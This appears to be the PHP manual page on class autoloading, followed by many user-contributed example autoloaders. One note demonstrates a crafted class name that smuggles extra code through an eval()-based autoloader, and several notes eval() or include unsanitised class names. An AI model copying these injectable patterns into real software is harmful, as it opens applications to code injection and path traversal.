As you can see from the results of this code, the protected and private static members of Test are still visible if you know where to look. The protection and privacy are applicable only on writing, not reading -- and since nobody can write to a constant at all, assigning an access specifier to it is just redundant.


Autoloading Classes

Many developers writing object-oriented applications create one PHP source file per class definition. One of the biggest annoyances is having to write a long list of needed includes at the beginning of each script (one for each class).

In PHP 5, this is no longer necessary. You may define an __autoload() function which is automatically called in case you are trying to use a class/interface which hasn't been defined yet. By calling this function the scripting engine is given a last chance to load the class before PHP fails with an error.

Tip

spl_autoload_register() provides a more flexible alternative for autoloading classes. For this reason, using __autoload() is discouraged and may be deprecated or removed in the future.

Note:

Prior to 5.3.0, exceptions thrown in the __autoload function could not be caught in the catch block and would result in a fatal error. From 5.3.0+ exceptions thrown in the __autoload function can be caught in the catch block, with 1 provision. If throwing a custom exception, then the custom exception class must be available. The __autoload function may be used recursively to autoload the custom exception class.

Note:

Autoloading is not available if using PHP in CLI interactive mode.

Note:

If the class name is used e.g. in call_user_func() then it can contain some dangerous characters such as ../. It is recommended to not use the user-input in such functions or at least verify the input in __autoload().

Example #1 Autoload example

This example attempts to load the classes MyClass1 and MyClass2 from the files MyClass1.php and MyClass2.php respectively.

<?php
function __autoload($class_name) {
    include $class_name . '.php';
}

$obj  = new MyClass1();
$obj2 = new MyClass2();
?>

Example #2 Autoload other example

This example attempts to load the interface ITest.

<?php

function __autoload($name) {
    var_dump($name);
}

class Foo implements ITest {
}

/*
string(5) "ITest"

Fatal error: Interface 'ITest' not found in ...
*/
?>

Example #3 Autoloading with exception handling for 5.3.0+

This example throws an exception and demonstrates the try/catch block.

<?php
function __autoload($name) {
    echo "Want to load $name.\n";
    throw new Exception("Unable to load $name.");
}

try {
    $obj = new NonLoadableClass();
} catch (Exception $e) {
    echo $e->getMessage(), "\n";
}
?>

The above example will output:

Want to load NonLoadableClass.
Unable to load NonLoadableClass.

Example #4 Autoloading with exception handling for 5.3.0+ - Missing custom exception

This example throws an exception for a non-loadable, custom exception.

<?php
function __autoload($name) {
    echo "Want to load $name.\n";
    throw new MissingException("Unable to load $name.");
}

try {
    $obj = new NonLoadableClass();
} catch (Exception $e) {
    echo $e->getMessage(), "\n";
}
?>

The above example will output:

Want to load NonLoadableClass.
Want to load MissingException.

Fatal error: Class 'MissingException' not found in testMissingException.php on line 4

See Also

  • unserialize()
  • unserialize_callback_func
  • spl_autoload()
  • spl_autoload_register()

User Contributed Notes

oliver dot strevel at gmail dot com 14-Jul-2014 09:50
My autoloader function:

<?php

/**
 * Funcion de autocarga de clases para php
 * Se realiza la busqueda directamente sobre la raiz de la carpeta lib con el prefijo '.class.php'
 */
function __autoload( $class_name )
{
    $invalidChars = array(
        '.', '\\', '/', ':', '*', '?', '"', '<', '>', "'", '|'
    );

    $class_name = str_replace($invalidChars, '', $class_name);

    $extension_prefix = '.class.php';

    if( !@include_once $class_name . $extension_prefix )
    {
        $path = 'lib'; // In this dir the function will search

        foreach( new DirectoryIterator($path) as $file )
        {
            if($file->isDot()) { continue; }

            if($file->isDir())
            {
                $file = $path . DIRECTORY_SEPARATOR . $file->getFilename() . DIRECTORY_SEPARATOR . $class_name . $extension_prefix;

                if(file_exists($file)) {
                    include_once $file;
                }
            }
        }
    }
    if (!class_exists($class_name, false) || !interface_exists($class_name, false)) {
        // return || Some tracking error task..
    }
}
?>
norwood at computer dot org 12-Jan-2014 01:12
Autoloaders & Namespaces: The effective namespace of an autoloaded file must match that of its original reference; just  finding and loading the file isn't enough. (I know, seems obvious now, but...)

My namespaces may serve as hints to locations within the file system, and I tried to be cute:
     If a class (file) wasn't found where it was expected, my autoloader also looked in an alternate location. This worked fine, except that the alternate's own qualified namespace was thus slightly different (reflecting where *it* lived). So although the desired class was ultimately loaded (name and all), the original caller's reference remained unsatisfied because of the namespace discrepancy (as it should, really), but it was subtle.

Of course, this scheme works fine within the same namespace (explicit or not).

And kudos to the autoload devs for anticipating what could have been an endless autoload loop.
pier4r 31-Dec-2013 11:46
Just a small autoload class (that works if you use corretly names, namespaces, uses and so on) found elsewhere with a small modification for linux:

<?php
//from http://www.phpfreaks.com / tutorial / oo - php - part - 1 - oop - in - full - effect
function __autoload($className)  {
  var_dump($className);
  $file = str_replace('\\', DIRECTORY_SEPARATOR, $className) . '.php';
  var_dump($file);

  var_dump(file_exists($file));
  if (!file_exists($file)) {
    return false;
  }
  else {
    require $file;
    return true;
  }
}
?>
julian at jxmallett dot com 16-Dec-2013 08:41
The tip to use spl_autoload_register() instead of __autoload() should be taken seriously. It seems that __autoload() doesn't always get called when calling an unloaded class within a class, eg:

<?php
class MyClass {
    public static function doStuff() {
        //do some stuff
        $a = MyOtherClass::otherStuff();
    }
}
?>

Code similar to that gave me a 'class not found' error when using __autoload(). Using spl_autoload_register() with the exact same autoload function fixed the problem.
tlang at halsoft dot com 15-Feb-2013 06:56
This page states that autoloading does not work when PHP is used in CLI mode but a simple test seems to contradict this.

Create a file /tmp/Foo.php containing:

<?php
class Foo {
    public function __construct() {
        echo "Inside the Foo constructor\n";
    }
}
?>

Create a script (NOT in /tmp) containing:

<?php

function test_autoload($class) {
    require_once '/tmp/'.$class.'.php';
}

spl_autoload_register('test_autoload');
$foo = new Foo();
?>

Execute the script on the command line. The echo statement in the constructor produces output to STDOUT.

This also works with __autoload

<?php

function __autoload($class) {
    require_once '/tmp/'.$class.'.php';
}

$foo = new Foo();
?>
qfox at ya dot ru 16-Nov-2011 11:48
More simpler example of using spl_autoload_register in 5.3:
<?php
spl_autoload_register(function($classname) /* usign $app */ {
  # ... your logic to include classes here
});
?>
fka at fatihkadirakin dot com 01-Aug-2010 03:16
Or you can use this, without using any "require/include":

<?php
class autoloader {

    public static $loader;

    public static function init()
    {
        if (self::$loader == NULL)
            self::$loader = new self();

        return self::$loader;
    }

    public function __construct()
    {
        spl_autoload_register(array($this,'model'));
        spl_autoload_register(array($this,'helper'));
        spl_autoload_register(array($this,'controller'));
        spl_autoload_register(array($this,'library'));
    }

    public function library($class)
    {
        set_include_path(get_include_path().PATH_SEPARATOR.'/lib/');
        spl_autoload_extensions('.library.php');
        spl_autoload($class);
    }

    public function controller($class)
    {
        $class = preg_replace('/_controller$/ui','',$class);

        set_include_path(get_include_path().PATH_SEPARATOR.'/controller/');
        spl_autoload_extensions('.controller.php');
        spl_autoload($class);
    }

    public function model($class)
    {
        $class = preg_replace('/_model$/ui','',$class);

        set_include_path(get_include_path().PATH_SEPARATOR.'/model/');
        spl_autoload_extensions('.model.php');
        spl_autoload($class);
    }

    public function helper($class)
    {
        $class = preg_replace('/_helper$/ui','',$class);

        set_include_path(get_include_path().PATH_SEPARATOR.'/helper/');
        spl_autoload_extensions('.helper.php');
        spl_autoload($class);
    }

}

//call
autoloader::init();
?>
ej at campbell dot name 03-Apr-2010 08:21
You don't need exceptions to figure out if a class can be autoloaded. This is much simpler.

<?php
//Define autoloader
function __autoload($className) {
      if (file_exists($className . '.php')) {
          require_once $className . '.php';
          return true;
      }
      return false;
}

function canClassBeAutloaded($className) {
      return class_exists($className);
}
?>
tom at r dot je 11-Mar-2010 12:30
To find out whether a class can be autoloaded, you can use autoload in this way:

<?php
//Define autoloader
function __autoload($className) {
    if (file_exists($className . '.php')) require $className . '.php';
    else throw new Exception('Class "' . $className . '" could not be autoloaded');
}

function canClassBeAutloaded($className) {
    try {
        class_exists($className);
        return true;
    }
    catch (Exception $e) {
        return false;
    }
}
?>
Anonymous 09-Feb-2010 12:35
It's worth to mention, if your operating system is case-sensitive you need to name your file with same case as in source code eg. MyClass.php instead of myclass.php
khan at swcombine dot com 05-Nov-2009 02:38
As an addendum to #91119 I would suggest adding class_exists() into that solution. I've just implemented autoloading based on the code provided there and ran into a problem where a file had the same name as a class, existed in the directory structure prior to the file that had the actual class and as a result was being included first and resulting in a 'class not found' error.

<?php
if(file_exists($path)) {
    require_once $path;
    if(class_exists($class_name)) {
        return;
    }
}
?>
h762017(at)stud(dot)u-szeged(dot)hu 21-Aug-2009 04:24
Hi,

Because the scripting engine just find the class declaration in the body of the __autoload() function, you also can declare the missing class in the __autoload() function. (No need to include or require a file.)

Let's see the following code:

Example 1.:

<?php

function __autoload($className){
    echo "Now loading: $className<br />";

    class SuperClass {
    }
}

class DerivedClass extends SuperClass {
}

class AnotherDerivedClass extends SuperClass {
}

?>

The scripting engine will found the SuperClass class.

Example 2.:

You also can do it with the eval function, and if you dinamycally declare the class, you don't get a Fatal Error, and you can do many interesting things with the eval function;)

<?php

function __autoload($className){
    echo "Now loading: $className<br />";

    eval("class $className {}");
}

class DerivedClass extends SuperClass {
}

class AnotherDerivedClass extends SuperClass {
}

?>
Peminator 07-Jul-2009 04:01
My idea for autoloading FUNCTIONS however only in a weird way :

<?php
function ex($parms)
{
   $argvar = func_get_args();
   $func = $argvar[0];
   $funcargs = array_slice($argvar,1);

if (function_exists($func))
   {
   $returnvalue = call_user_func_array($func,$funcargs);
   }
else
   {
   $funcpath = "scripts/".$func.".php";
   require_once($funcpath);

   if (function_exists($func))
      {
      $returnvalue = call_user_func_array($func,$funcargs);
      }
   else
      {
         die "SORRY  $func IS NOT USABLE";
      }
   }

// return returned value :-)
return $returnvalue;
}
?>

USAGE EXAMPLE:
must be caled using the X function giving the real function as first parameter, like:
$result = ex("add",1,2);
// returns 3 if add function defined in add.php sums the first and second parameter..
roman dot drapeko at gmail dot com 05-Apr-2009 01:33
Hi there,

I have developed a small script, that can scan recursively folders and files ang generate array of associations between classes/interfaces and their locations. It accepts several incoming parameters and it's very simple to use.

An example of generated array is shown bellow.

<?php

    $autoload_list = array (
      'classes' => array (
        'A' => array ('path' => 'Project/Classes/Children/A.php',
          'extends' => array (), 'implements' => array ('I1')),
        'C' => array ('path' => 'Project/Classes/C.php',
          'extends' => array ('B'), 'implements' => array ('I1', 'I3')),
      ),
      'interfaces' => array (
        'I2' => array ('path' => 'Project/Interfaces/blablabla.php', 'extends' => array ('I1')),
        'I1' => array ('path' => 'Project/Interfaces/I1.php', 'extends' => array ()),
      ),
    );
?>

When you know names and their locations, you know everything to load these classes.

It uses regular expressions to identify if class/interfaces is located in the current file.

I tried to post the code, but it's very long. You can download the script from http://wp.drapeko.com/store/php-autoloading-files/.
claude dot pache at gmail dot com 12-Mar-2009 04:04
About static classes that need initialisation before use (problem discussed by adam at greatbigmassive dot net and kalkamar at web dot de below).

Simple problems have often simple solutions. Here is my approach:

First, my __autoload function is very simple:
<?php
function __autoload ($class_name)
{
    if (preg_match('|^\w+$|', $class_name))
        include "./packages/$class_name.php";
}
?>
(The "if/preg_match" line is just a simple yet robust security check. Moreover I use "include" and not "require"/"require_once", so that if the file is not found, the __autoload function does nothing, and my script dies eventually with a meaningful "Class 'foo' not found"  fatal error.)

Now, when I define a class "foo" which requires initialisation before use, I just write the initialisation code after the definition of the class in the file "packages/foo.php":

<?php
/** Content of file "packages/foo.php" **/
class foo
{
    /* definition of the class is found here */
}

/* initialisation code of the class is found here. */

/** End of file "packages/foo.php" **/
?>

That's it. No need for an <? init() ?> or a <? __construct() ?> method.
jarret dot minkler at gmail dot com 08-Mar-2009 07:55
You should not have to use require_once inside the autoloader, as if the class is not found it wouldn't be trying to look for it by using the autoloader.

Just use require(), which will be better on performance as well as it does not have to check if it is unique.
pinochet dot pl at gmail dot com 04-Jan-2009 10:11
To use autoload function with namespaces you should remember to define it in main scope in "\" namespace.
zachera 01-Jan-2009 01:55
I found out a neat way to centralize one single class which will give accessibility to other classes.  I also added a parameter to the __construct method which would be an array of classes you want loaded.  This isn't completely necessary, but it will stop "excessive memory" if you're loading a bunch of unused classes.

<?php
class Bot {
    private $classes = array (
        'Socket' => "connection/class.Socket.php",
        'Input'  => "io/class.Input.php",
        'Output' => "io/class.Output.php",
        'Parse'  => "io/parse/class.Parse.php"
    );
    public $Socket, $Input, $Output, $Parse; // Accessible by other classes

    public function __construct($load=false){
        if(is_array($load)){
            foreach($load as $class){
                if(isset($this->classes[$class])){
                    require($this->classes[$class]);
                    $this->$class = new $class($this);
                }
            }
        } else {
            foreach($this->classes as $class => $path){
                require($path);
                $this->$class = new $class($this);
            }
        }
    }
}
?>
kalkamar at web dot de 07-Oct-2008 07:23
Because static classes have no constructor I use this to initialize such classes.
The function init will (if available) be called when you first use the class.
The class must not be included before, otherwise the init-function wont be called as autoloading is not used.

<?php
function __autoload($class_name)
{
    require_once(CLASSES_PATH.$class_name.'.cls.php');
    if(method_exists($class_name,'init'))
        call_user_func(array($class_name,'init'));
    return true;
}
?>

I use it for example to establish the mysql-connection on demand.

It is also possilbe do add a destructor by adding this lines to the function:
<?php
if(method_exists($class_name,'destruct'))
    register_shutdown_function(array($class_name,'destruct'));
?>
jbarker at erepublic dot com 17-Sep-2008 05:34
In a subclass, I was trying to call an overridden parent method with an arbitrary number of arguments:

<?php
call_user_func_array(array('parent', 'someNonStaticMethod'), $args);
?>

It turns out this triggers an E_STRICT level warning. So I changed to this:

<?php
call_user_func_array(array($this, 'parent::someNonStaticMethod'), $args);
?>

This doesn't trigger any warnings, but it has the undesirable (if not downright buggy) effect of calling my __autoload() function with the argument 'parent'. I had to modify __autoload() to handle this special situation:

<?php
function __autoload($cls)
{
    if ('parent' != $cls)
    {
        require("class.$cls.php");
    }
}
?>

Tested on Linux with PHP 5.1.6 and 5.2.5.
andrzeje from wit.edu.pl 14-Sep-2008 05:18
Throwing versions of __autoload based on eval will fail if __autoload will be caled with interface name.
<?php
/* eval+throw __autoload
 */
class Cls implements Iface {/* ... */}; // Error
?>
matias dot cohen at gmail dot com 02-Aug-2008 01:33
Another way of throwing exceptions inside an __autoload() function:
<?php

function myExceptionHandler($e) {
    // Add code here
}

set_exception_handler('myExceptionHandler');

function __autoload($class) {
    if (class_exists($class, false) || interface_exists($class, false)) {
        return;
    }
    try {
        @require_once('path/to/' . $class . '.php');
        if (!class_exists($class, false) || !interface_exists($class, false)) {
            throw new Exception('Class ' . $class . ' not found');
        }
    }
    catch (Exception $e) {

        myExceptionHandler($e);
    }
}

?>
chris (at) xeneco (dot) co (dot) uk 04-Jul-2008 03:21
I'm very taken with the autoload function, and thought I would share with you my implementation of it:
<?php
function __autoload($class_name) {

    //my settings class is a singleton instance that has parsed an ini file containing the locations of all classes
    $settings = Settings::Load();
    $classes = $settings->getSettings('classes');

    $path = $classes[$class_name];

    if(file_exists($path)) {
        require_once($path);
        return true;
    } else {
        clearstatcache();
        $classes = $settings->ReLoadSettings();
        $path = $classes['classes'][$class_name];
    }

    if(file_exists($path)) {
        require_once($path);
        return true;
    } else {
        die("The requested library,".$class_name.", could not be found at ".$classes[$class_name][$i].". Please check your ini file");
    }
}
?>
Chris Continanza 29-Apr-2008 08:43
Decided to warm up to autoload,
but wanted it to use the include_path.
Good default behavior.

function __autoload($class_name) {
      $include_path = get_include_path();
      $include_path_tokens = explode(':', $include_path);

      foreach($include_path_tokens as $prefix){
         $path = $prefix . '/' . $class_name . '.php';
         if(file_exists($path)){
            require_once $path;
            return;
          }
       }
  }
james dot dot dot dunmore at gmail dot com 18-Apr-2008 01:43
Andrew: 03-Nov-2006 12:26

That seems a bit messy to me, this is a bit neater:
<?php
    function __autoload($class_name)
    {
        //class directories
        $directorys = array(
            'classes/',
            'classes/otherclasses/',
            'classes2/',
            'module1/classes/'
        );

        //for each directory
        foreach($directorys as $directory)
        {
            //see if the file exsists
            if(file_exists($directory.$class_name . '.php'))
            {
                require_once($directory.$class_name . '.php');
                //only require the class once, so quit after to save effort (if you got more, then name them something else
                return;
            }
        }
    }
muratyaman at gmail dot com 28-Jan-2008 04:57
__autoload() function can be very useful to optimize your code esp. when you have so many classes.

Unlike class extensions, optional parameters with class restrictions may not load your class.

<?php
class bClass{
  function fun($p1, aClass $p2=NULL){
    //do something
  }
}

//depending on the usage
$b = new bClass();
$b->fun('No!');//this will not load class file for aClass
$b->fun('Really?', new aClass('Yes!'));//this will

?>

So, it's very encouraging to use classes everywhere!
Even encapsulating your functions inside simple classes to use like static modules, will help a lot!

Let's say, you have <b>50k</b> lines of code inside <b>100</b> classes/files.. If you need a simple task to do very quickly, you should not be loading all of those files, except the ones you need.

Though, it may be dangerous on some cases regarding the dependencies, load order, etc. Carefully design your classes.
ostapk 19-Dec-2007 11:46
To sandrejev at gmail dot com below:

if you create the exception in the __autoload() and serialize it, then when you try to access the same missing class later (in another place in the code), then the exception will contain invalid stack trace.

Also, here's an excellent blog post that discusses the consequences of using eval() as well as provides an example to handle static method calls and namespaces: http://www.onphp5.com/article/61
richard [at ] xanox [dot] net 05-Dec-2007 04:46
I've made this little script here which looks in a dir, and loads all the classed, and includes their files.

$myDirectory = opendir("required/classes");

// get each entry
while($entryName = readdir($myDirectory)) {
    $dirArray[] = $entryName;
}

// close directory
closedir($myDirectory);

//    count elements in array
$indexCount    = count($dirArray);
sort($dirArray);

for($index=0; $index < $indexCount; $index++) {
    if($dirArray[$index] != '.' AND $dirArray[$index] != '..') {
        include("required/classes/$dirArray[$index]");
        $classname = strtolower($dirArray[$index]);
        $classname = str_replace('.php','',$classname);
        $classinit = str_replace('.php','',$dirArray[$index]);

        $$classname = new $classinit;
    }
}
rojoca 05-Oct-2007 05:38
Be careful when using eval (as always) in __autoload. The following:

<?php

echo 'Start->';

function __autoload($class) {
    eval('class ' . $class . ' {};');
}

$class = 'Class1{}; echo "uh oh"; class Class2';

$obj = new $class;

echo 'end';
?>

outputs:

Start->uh oh

You can use preg_replace to clean up $class to prevent executing abitrary code but in this case you won't be able to throw a catchable exception and your script will end with a fatal error.
christian.reinecke at web.de 23-Sep-2007 06:28
do not use is_subclass_of() in your __autoload() function to identify a class type and thereby its path (f.e exceptions). is_subclass_of() needs to know the class, but you want to check BEFORE you include the class.
rlee0001 at sbcglobal dot net 30-Aug-2007 10:16
If you would like __autoload to throw an exception when the class cannot be loaded instead of causing a fatal error, consider this:

<?php
function __autoload ($className)
{
    $fileName = str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php';
    $status = (@include_once $fileName);

    if ($status === false) {
        eval(sprintf('class %s {func' . 'tion __construct(){throw new Project_Exception_AutoLoad("%s");}}', $className, $className));
    }
}

$pageController = 'Project_My_Class'; // "Project/My/Class.php"

try {
  $obj = new $pageController();
} catch (Project_Exception_AutoLoad $e) {
    header('HTTP/1.0 404 Not Found');
    printf('<h1>Not Found</h1><p>The requested page %s was not found on this server.</p><hr /><em>$id$</em>', $_SERVER['REQUEST_URI']);
}
?>
emcmanus at gmail dot com 17-Jul-2007 03:04
Note: if you're experiencing unexpected "failed opening required 'filename.php' (include..." errors:

If you placed your autoload function in an external file which you're requiring at the head of every script, be cautious of some odd behavior regarding PHP's idea of the current working directory.

I ran into some unexpected path issues when my include file was placed in a subdirectory directory. The solution to my problems was to make sure that the autoload script being included is in the same directory as the calling script.
peter dot gooman at gmail dot com 18-Jun-2007 05:33
Before you start using __autload, remember that it holds no scope/namespace. This means that if you are depending on third party applications and they have an autoload function defined and so do you, your application will error.

To remedy this, everyone should look at the spl_autoload functions, eg: spl_autoload_register. This function allows more than one custom functions to be called through the default spl_autoload (default __autoload) handler.
Andrea Giammarchi 21-Mar-2007 12:54
Another workaround for Exception problem (Klaus Schneider style)

<?php
define('CLASS_DIR', 'php/classes/');
function __autoload($name) {
    if($exists = !class_exists($name) && file_exists($class = CLASS_DIR.$name.'.class.php'))
        require $class;
    elseif(!$exists) {
        eval('class '.$name.' extends Exception {}');
        throw new $name('[__autoload] this file doesn\'t exists: '.$class);
    }
}

try {
    new Undefined;
}
catch(Undefined $e) {
    echo $e->getMessage();
}
// You should use generic Exception too
catch(Exception $e) {
    echo $e->getMessage();
}
?>
Klaus Schneider 01-Mar-2007 04:35
I just stumbled over one quite nice solution to the __autoload-exception problem.  It allows for any kind of exception to be thrown inside __autoload().

It appears one has to define the requested class (using "eval", which is not nice but inevitable here) and after that can simply throw an exception (and catch it if so desired):

<?php
function __autoload($className)
{
   // Do your stuff to load a class here, set $ok if everything went fine.
   if (! $ok) {
      eval("class $className{};");
      throw new Exception('My message');
   } // if
}

try {
   UndefinedClass::undefinedFunction();
} catch (Exception $ex) {
   echo $ex->getMessage();
} // try/catch
?>

Output: "My Message".

:-)
david dot thalmann at gmail dot com 02-Feb-2007 04:19
Note to Ricos posting:
A lot of useless Coding. However, I improved the code, so now it will be able to find any folders ("." and ".." will not being tested... oO) and search as deep as possible. Now it will find CLASS_DIR/foo/bar.class.php also like CLASS_DIR/foo/bar/baz/buz/fii/and/so/on/class.php

Warning: This code will check ALL dirs who're "deeper" / "lower" than the class dir, so prevent deeply hidden files (or use just a few folders).

Improved Version:
<?php

// change this, if this code isn't "higher" than ALL classfiles
define("CLASS_DIR", dirname(__FILE__));

/**
 * autoload classes (no need to include them one by one)
 *
 * @uses classFolder()
 * @param $className string
 */
function __autoload($className) {
    $folder = classFolder($className);

    if($folder)
        require_once($folder.$className.".class.php");
}

/**
 * search for folders and subfolders with classes
 *
 * @param $className string
 * @param $sub string[optional]
 * @return string
 */
function classFolder($className, $sub = "/") {
    $dir = dir(CLASS_DIR.$sub);

    if(file_exists(CLASS_DIR.$sub.$className.".class.php"))
        return CLASS_DIR.$sub;

    while(false !== ($folder = $dir->read())) {
        if($folder != "." && $folder != "..") {
            if(is_dir(CLASS_DIR.$sub.$folder)) {
                $subFolder = classFolder($className, $sub.$folder."/");

                if($subFolder)
                    return $subFolder;
            }
        }
    }
    $dir->close();
    return false;
}

?>
Rico 04-Jan-2007 02:00
This autoload function searches for the class Location before requiring it. So there's no need of putting the classes all in one folder.

Requirements:
 - the subfolders must be at least 3 letters long
 - the filenames must be in the form CLASSNAME.class.php

Note:
 - in this example the main class folder is 'lib'

define('ROOT_DIR', dirname(__FILE__).'/');

function __autoload($className) {
    $folder=classFolder($className);
    if($folder) require_once($folder.'/'.$className.'.class.php');
}

function classFolder($className,$folder='lib') {
    $dir=dir(ROOT_DIR.$folder);
    if($folder=='lib' && file_exists(ROOT_DIR.$folder.'/'.$className.'.class.php')) return $folder;
    else {
        while (false!==($entry=$dir->read())) {
            $checkFolder=$folder.'/'.$entry;
            if(strlen($entry)>2) {
                if(is_dir(ROOT_DIR.$checkFolder)) {
                    if(file_exists(ROOT_DIR.$checkFolder.'/'.$className.'.class.php')) return $checkFolder;
                    else {
                        $subFolder=classFolder($className,$checkFolder);
                        if($subFolder) return $subFolder;
                    }
                }
            }
        }
    }
    $dir->close();
    return 0;
}
sandrejev at gmail dot com 09-Nov-2006 08:23
Here is the most complete version of __autoload exception i guess.
The best thing is that it can throw any exception plus the exception is fully functional.

<?php
class AutoloadException extends Exception { }

class AutoloadExceptionRetranslator extends Exception
{
    public function __construct($serializedException)
    {
        throw unserialize($serializedException);
    }
}

function __autoload($classname)
{
    if(!file_exists($classname))
    {
        $autoloadException = serialize(new AutoloadException("Class $classname could not be found"));

        return eval("
            class $classname
            {
                function __construct(\$a=0, \$b=0, \$c=0, \$d=0, \$e=0, \$f=0, \$g=0, \$h=0, \$i=0)
                {
                    throw new AutoloadExceptionRetranslator('$autoloadException');
                }
            }
        ");
    }
    else
    {
        require_once $classname;
    }
}

try
{
    $anyObject = new AnyNonExistantClass();
}
catch (AutoloadException $e)
{
    print_r($e->getTrace());
}
?>
andrew dot delete dot cornes at gmail dot delete dot com 03-Nov-2006 01:26
If you'd like '__autoload()' to support multiple class folders, each containing multiple class files (one per class), you may want to try something like this (file '__autoload.php'):

<?php

define('CLASS_FILENAME_SUFFIX', '.class.php');

function __autoload($className)
{
    $__autoloadAbsolutePath = dirname(__FILE__);

    // 'pathStart' is your web application root folder.
    // (This may or may not be where '__autoload.php'
    // resides; let's assume here that it resides one
    // level 'below' the web app root.)
    $pathStart = $__autoloadAbsolutePath .
        DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR;

    // 'classPath' is a list of class folders to look in.
    // (In this example, there's just one: 'classlibs/lib1'.
    // To add more, simply append them; start with
    // 'PATH_SEPARATOR . $pathStart .', and off you go...)
    $classPath = PATH_SEPARATOR . $pathStart .
        'classlibs' . DIRECTORY_SEPARATOR . 'lib1';

    // Add list of class folders to 'include_path' for the
    // forthcoming 'require()' (or similar directive).
    $oldIncludePath = get_include_path();
    set_include_path($oldIncludePath . $classPath);

    require_once($className . CLASS_FILENAME_SUFFIX);

    // Reinstate initial 'include_path'.
    set_include_path($oldIncludePath);
}

?>

As your web application develops, new paths containing class files can be added into the '$classPath' variable within '__autoload()'. If hard-coding the '$classPath' variable isn't to your taste, you could arrange for its value to come from 'outside' in whatever way you like.

Any comments gratefully received.
Chris Corbyn (chris AT w3style.co.uk) 08-Sep-2006 03:23
I'm sure this is needed by more than me.

My objective was to allow __autoload() to be easily extended in complex systems/frameworks where specific libraries etc may need loading differently but you don't want to hard-code little adjustments into your working __autoload() to allow this to happen.

Using a ServiceLocator object with some static methods and properties to allow loosely coupled locators to be attached to it you can swap/change and add to the functionality of your __autoload() at runtime.

The core stuff:
<?php

/**
 * Defines the methods any actual locators must implement
 * @package ServiceLocator
 * @author Chris Corbyn
 */
interface Locator
{
    /**
     * Inform of whether or not the given class can be found
     * @param string class
     * @return bool
     */
    public function canLocate($class);
    /**
     * Get the path to the class
     * @param string class
     * @return string
     */
    public function getPath($class);
}

/**
 * The main service locator.
 * Uses loosely coupled locators in order to operate
 * @package ServiceLocator
 * @author Chris Corbyn
 */
class ServiceLocator
{
    /**
     * Contains any attached service locators
     * @var array Locator
     */
    protected static $locators = array();

    /**
     * Attach a new type of locator
     * @param object Locator
     * @param string key
     */
    public static function attachLocator(Locator $locator, $key)
    {
        self::$locators[$key] = $locator;
    }
    /**
     * Remove a locator that's been added
     * @param string key
     * @return bool
     */
    public static function dropLocator($key)
    {
        if (self::isActiveLocator($key))
        {
            unset(self::$locators[$key]);
            return true;
        }
        else return false;
    }
    /**
     * Check if a locator is currently loaded
     * @param string key
     * @return bool
     */
    public static function isActiveLocator($key)
    {
        return array_key_exists($key, self::$locators);
    }
    /**
     * Load in the required service by asking all service locators
     * @param string class
     */
    public function load($class)
    {
        foreach (self::$locators as $key => $obj)
        {
            if ($obj->canLocate($class))
            {
                require_once $obj->getPath($class);
                if (class_exists($class)) return;
            }
        }
    }
}

/**
 * PHPs default __autload
 * Grabs an instance of ServiceLocator then runs it
 * @package ServiceLocator
 * @author Chris Corbyn
 * @param string class
 */
function __autoload($class)
{
    $locator = new ServiceLocator();
    $locator->load($class);
}

?>

An example Use Case:
<?php

require 'ServiceLocator.php';

//Define some sort of service locator to attach...
class PearLocator implements Locator
{
    protected $base = '.';

    public function __construct($directory='.')
    {
        $this->base = (string) $directory;
    }

    public function canLocate($class)
    {
        $path = $this->getPath($class);
        if (file_exists($path)) return true;
        else return false;
    }

    public function getPath($class)
    {
        return $this->base . '/' . str_replace('_', '/', $class) . '.php';
    }
}

// ... attach it ...
ServiceLocator::attachLocator(new PearLocator(), 'PEAR');

// ... and code away....
$foo = new Foo_Test();

?>
gonix 03-Aug-2006 03:39
in response to alexey at renatasystems dot org:

You may add ``global $somedata;`` before ``$somedata = 'Some data';`` and it should work as expected.

file bar.class.php:

<?php

global $somedata;
$somedata = 'Some data';    /* global scope in common way */

class bar {

   function __construct()
   {
       global $somedata;    /* reference to global scope variable */

       if ( isset($somedata) )
       {
           var_dump($somedata);
       }
       else
       {
           die('No data!');
       }
   }
}
?>

'common way':
<?php

require 'bar.class.php';

$foo = new bar();

?>

'__autoload way':
<?php

function __autoload($classname)
{
   require $classname . '.class.php';
}

$foo = new bar();

?>

Both 'comon way' and '__autoload way' should give same result:
string(9) "Some data"
alexey at renatasystems dot org 06-Jul-2006 09:15
While using an "autoloading" method you should pay attention to variables scope. Because of new file will be included INSIDE of magic function __autoload - all of declared in such file global scope variables will be only available within this function and nowhere else. This will cause strange behaviour in some cases. For example:

file bar.class.php:

<?php

$somedata = 'Some data';     /* global scope in common way */

class bar {

    function __construct()
    {
        global $somedata;    /* reference to global scope variable */

        if ( isset($somedata) )
        {
            var_dump($somedata);
        }
        else
        {
            die('No data!');
        }
    }
}
?>

Attempt to load this file in common way:

<?php

require 'bar.class.php';

$foo = new bar();

?>

this will output (as expected):

string(9) "Some data"

But in case of __autoload:

<?php

function __autoload($classname)
{
    require $classname . '.class.php';
}

$foo = new bar();

?>

you could expect that this script will return the same but no, it will return "No data!", because defenition of $somedata after requiring treats as local within user-defined function __autoload().
RQuadling at GMail dot com 08-Mar-2006 09:55
An issue I've had with using the __autoload function is getting it into the application.

You have to have the function included in every topmost script. This is a pain if the entire application is OOP and an "app" can be just a component of another "app".

A solution I've found is to use php.ini's auto_prepend_file setting.

Mine is set to ...

auto_prepend_file = auto_loader.php

The auto_loader.php script contains a single function. The __autoload() function.

The include_dir path IS examined to find this file, so you can just put it with the rest of your includable files.

A useful additional facility here is that you could log which classes are used by a script at runtime. Very useful if you have object factories and can't know the load at design time.

Also, assigning the uncaught exception handler and the error handlers in this file means your entire site WILL have some global protection without you having to deal with it on a script by script basis.

If you do not have access to the PHP.INI file, or you are running on a shared server, you may not be able to set this property. In those cases, you may be able to set the value using .htaccess. (NOTE: UNTESTED as I don't use Apache).

<IfModule mod_php5.c>
  php_value auto_prepend_file "auto_loader.php"
</IfModule>

You COULD therefore have a different set of rules per subdomain (if you have multiple subdomains, say, live, test, beta, devel) or whatever takes your fancy.

For more details on this see the "Description of core php.ini directives" (http://www.php.net/manual/en/ini.core.php)
dave60 /at/ gmail /dot/ com 29-Dec-2005 10:25
In reply to quetzalcoatl:

Generally, I would advise for each class to have it's own file, and hold nothing besides that class. Just define __autoload() in a/the infrastructure file -- a/the file that does the behavioral logic, and there should be no need to redefine it in a class' file.
me at mydomain dot com 12-Nov-2005 01:07
You can enable this behaviour for undefined classes while unserializing objects by setting the .ini-variable 'unserialize_callback_func' to '__autoload'.
